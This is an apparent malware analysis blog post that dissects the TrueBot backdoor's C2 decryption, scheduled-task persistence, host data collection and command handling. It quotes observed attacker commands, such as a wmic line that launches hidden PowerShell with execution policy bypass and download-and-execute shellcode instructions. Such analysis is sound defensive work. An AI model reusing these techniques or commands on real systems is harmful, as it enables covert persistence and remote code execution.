Robert Giczewski

Malware Analysis, Forensics, Threat Intelligence, Coding, Tech, Video Games

TrueBot Analysis Part III - Capabilities

31 Mar 2023 » malware_analysis, reverse_engineering

After we have dealt with TrueBot’s packer in Part I and Part II, we can now finally analyze its core and see if we find something useful to extract in the next part.

Every unpacked sample I’ve seen so far looks pretty much identical. In this case, we’ll analyze c042ad2947caf4449295a51f9d640d722b5a6ec6957523ebf68cddb87ef3545c.

At the beginning there is a lot of stuff going on that I haven’t analyzed and probably never will because it seems like it’s just garbage. The interesting part starts further down (marked red in the figure below):

Fortunately, TrueBot’s code is pretty well readable. There are no encrypted strings except the C2. API calls are properly imported and referenced and there is no anti-analysis/debug functionality.

Get the C2

Right at the start of the interesting code block, we can see three strings which look suspicious. Two of them are obviously Base64 encoded strings and are passed as arguments to the b64_decode() function, the other is passed as an argument to a function that turns out to be a RC4 decryption function.

Before decrypting the Base64 decoded string, the string is passed to a function which I called mw_custom_decode. This function is really strange and I have no idea why the malware author choose that way to custom encode/decode the C2 but anyway.

When decoding the Base64 strings we get the following results:

echo "OSVlZSVmMCU4ZU9ZJTk3RC0lYjYlMGQlYWYlMDVYLg==" | base64 -D

echo "ZyVmZSVmNCU5YlklMDMlOTVNOQ==" | base64 -D

After putting the Base64 decoded string into the mw_custom_decode function, we get the decoded bytes for the encrypted C2.

9%ee%f0%8eOY%97D-%b6%0d%af%05X. =>  39 EE F0 8E 4F 59 97 44 2D B6 0D AF 05 58 2E
g%fe%f4%9bY%03%95M9             =>  67 fe f4 9b 59 03 95 4d 39

In the next steps, TrueBot is RC4 decrypting both of the earlier decoded bytes.

39 EE F0 8E 4F 59 97 44 2D B6 0D AF 05 58 2E    =>
67 fe f4 9b 59 03 95 4d 39                      => /gate.php


Before persisting itself, TrueBot creates a Mutex (IFjwi312fu321321rfewfew) to check if another instance of itself is running, if so, it will terminate via ExitProcess(0).

Right after creating the mutex, TrueBot tries to persist itself by creating a scheduled task via a COM Interface.

TrueBot supports both the Task Scheduler 1.0 and 2.0 API and therefore uses the respective different CLSIDs.

Task Scheduler 1.0 API - Pre-Vista: ``148BD52A-A2AB-11CE-B11F-00AA00530503``
Task Scheduler 2.0 API - Vista and higher: ``0F87369F-A4E5-4CFC-BD3E-73E6154572DD`` 

The scheduled task is set up to run after each login and is configured to execute TrueBot via rundll32.exe.

C2 Communication

Right after persisting itself, TrueBot gathers information from the infected system which will be sent to the C2. To get rid of “unwanted” processes, TrueBot filters those against a hardcoded list of keywords.

All other collected process names are then concatenated with | as a delimiter and stored into a buffer.

After collecting the processes, TrueBot searches for the existence of files with the file extension .JSONIP. If there is no such file, it will be created with a random 13 character alphabetical name for example C:\ProgramData\QdJLLvdcYfqmK.JSONIP. TrueBot will then create a new GUID with the following formula:

wsprintfA(buffer, "%08x-%08x", pguid.Data3 + pguid.Data1 * pguid.Data2, pguid.Data1 * pguid.Data2 - pguid.Data3);

and write it into the newly created file. The GUID and the previously collected processes are combined into a string, which is then URL encoded. The result before the URL encoding looks like this:

The URL encoded data is then encoded with Base64 and sent to the C2 on port 80 with a self crafted HTTP Request:

After sending the initial data to the C2, TrueBot performs some kind of connectivity check by trying to connect to If it fails, it will try again after one second unless it is successful.

When successful, TrueBot is trying to get the victims DNS domain and the hostname by calling GetComputerNameExA() twice.

In the last step before sending data to the C2, TrueBot tries to identify the operating system version via GetVersionExA() and depending on the VersionInformation, it just returns a number which is then used as an index for a hardcoded OS Version array:

Finally, TrueBot constructs the data string which will be sent to the C2:

Like the collected processes earlier, the string will be URL and Base64 encoded and send to the C2 with the following post request:

POST /gate.php HTTP/1.0\r\n
Content-type: application/x-www-form-urlencoded\r\n
Content-length: 116\r\n

After sending the POST request, TrueBot is expecting one of the following commands from the C2:


The commands PS1, SHC and S64 will only be executed if there is a “http” string in front of them, for example:


I’m not sure if this is intended by the author and how the real response from the C2 looks like but at least during debugging, this seems to work, see the following image:

KLLS: Terminates itself via cmd.exe for example C:\WINDOWS\system32\cmd.exe /c del C:\Users\user\Desktop\tbot.dll >> NUL   
PS1: Download and execute a Powershell script via wmic.exe e.g. wmic.exe process call create "powershell -executionpolicy bypass -nop -w hidden %s" 
SHC: Download and execute Shellcode 
S64: Download and execute Shellcode with higher privileges (if possible)

For the commands PS1, SHC and S64, the received Payload from the C2 will first be decrypted with RC4 again but this time with another RC4 key, in this case OfgjkwsikhU23.

In the next blogpost, we’ll do some more coding again and write a config extractor that extracts the most important artifacts from the binary. Stay tuned.